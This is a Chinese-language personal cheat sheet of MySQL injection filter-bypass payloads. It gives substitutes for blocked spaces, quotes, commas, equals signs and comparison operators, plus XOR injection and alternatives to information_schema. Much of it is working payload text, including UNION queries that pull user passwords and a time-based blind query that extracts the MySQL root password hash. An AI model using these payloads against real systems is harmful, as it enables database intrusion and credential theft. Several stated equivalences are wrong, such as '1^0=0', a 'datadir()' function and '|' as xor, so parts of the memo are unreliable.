MYSQL注入技巧备忘录
MYSQL一些技巧
仅仅是作为自己备忘录,如果错误,敬请斧正。
0)基础饶过
1.大小写绕过
2.双写绕过
3.添加注释 /*!*/ or /*!小于mysql版本*/
5.宽字节、Latin1默认编码
Latin1编码:
[Mysql表的编码默认为latin1,如果设置字符集为utf8,则存在一些latin1中有而 utf8中没有的字符,而Mysql是如何处理这些字符的呢?直接忽略。
于是我们可以输入?username=admin%c2,存储至表中就变为了admin上面的%c2可以 换为%c2-%ef之间的任意字符]
1)过滤空格
反引号
SQL> select * from`user`;
括号
SQL> 'and(true)like(false)union(select(pass)from(users))#
/**/
SQL>select*from/**/users;
and/or后面可以跟上偶数个!、~可以替代空格,可以混合使用(混合后规律又不同),and/or前的空格可以省略
'or- -!!!1=1;
select Afrom B 默认from后面必须是空格再加表名,因此为了不让你使用from可能正则表达式会检测后面的空格,我们可以用科学计数法绕过,因为1e0后面可以没有空格。
下面逗号是两列的意思 1e0占了第二列,同样,上面的1E0可以用1.0代替。
select A,1E0fromB
\N 绕过,绕过NULL,因为\N相当于NULL
select * from pass where id=\Nunion select 1,2, greatest((substr((select username from users limit 1 offset 0),1,1)),'v')in('v');
空格还可以使用如下替代:
在php中 \s 会匹配0x09,0x0a,0x0b,0x0c,0x0d,0x20
09:Horizontal Tab
0A:New Line
0B:Vertical Tab
0C:New Page
0D:Carriage Return
A0:Non-breaking Space
20:Space
a0:空格
2B:+
2)过滤单引号:
3)过滤注释符
;%00 空字节
` 反引号
\# 哈希值
-- x SQL 语法[x为任意 前面有一个空格]
--' 如果是字符型可以注释【SELECT * FROM users WHERE id='1' order by 3--'' LIMIT 0,1】
只要闭合单引号或者其他就行 and 'x'='x
shch as:
条件苛刻 报错测试用不了 union可以的。其他没测试,盲注时需要加@。
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`' limit 0,1;
4)过滤逗号
1、在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from for的方式来解决:
select substr(database() from 1 for 1); select mid(database() from 1 for 1);
2、点击我查看Join绕过逗号
3、使用like
select ascii(mid(user(),1,1))=80 #等价于 select user() like 'r%' 有就返回1 无返回0
4、对于limit可以使用offset来绕过:
select * from news limit 0,1 # 等价于下面这条SQL语句 select * from news limit 1 offset 0
5、case when then
select case when substring((select password from mysql.user where user='root') from 1 for 1)='e' then sleep(5) else 0 end #
https://blog.csdn.net/zz_Caleb/article/details/88933173
5)过滤等号
find_in_set(mid(user(),1,1),'a,b,c,d') 如果当前用户的第一个字符不在 'a,b,c...' 字符串中,返回0;如果在字符串中,则返回那个字母的索引。如图,r 在字符串中第18个位置。
数据库中,索引的位置返回时间。
实战中要测试,最开始没有R的时候需要2S,然后加上R就是7,而R的位置是5。
mid(user(),1,1) 返回当前用户的第一个字符,如果当前用户第一个字符在集合后面,返回1,否则返回0。
数据库中
ord(1)=49,ord(0)=48。所以正确就返回7s。
实战测试中
1)regexp操作符用于配匹正则表达式, id regexp 1 与 id = 1 效果一样
2)<>等价于!= 所以在前面加一个!结果就是等号 !(id<>1) 与 id = 1 效果一样
3)使用大小于号来绕过,id > 1 and id < 3 与 id = 1 效果一样
4)不加通配符的like、rlike执行的效果和 = 一致
5)between a and b :范围在a-b之间 id between 1 and 1 与 id = 1 效果相同
6)过滤过滤比较符号 ( <
和 >
)
使用greatest()、least()函数绕过
greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值
那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
看上面的截取,第一位和第二位显示。
使用between a and b :范围在a-b之间
select * from users where id=1 and (ascii(substr(database(),1,1))) between 1 and 190;
使用strcmp(str1,str2)
若所有的字符串均相同,则返回
STRCMP()
,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
7)等价函数变量饶过
1.hex()、bin() ==> ascii()
2.sleep() ==>benchmark()
3.concat_ws()==>group_concat()
4.mid()、substr() ==> substring()
5.@@user ==> user()
6.@@datadir ==> datadir()
7.@@version ==> version()
8.&&==>and
9.||==>or
10.|==>xor
8)异或注入
在and,or ,|,&&,||等符号被过滤的情况下,可以采用异或注入达到注入的目的。
1^1=0 1^0=0 其他的自己测。数据库select 1^0;就可以
9)information_schema被过滤
innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志将会把表、键的信息记录到这两个表中除此之外,系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存,某些情况下可代替information_schema
JOin也是可以的。
推荐:https://xz.aliyun.com/t/7169#toc-20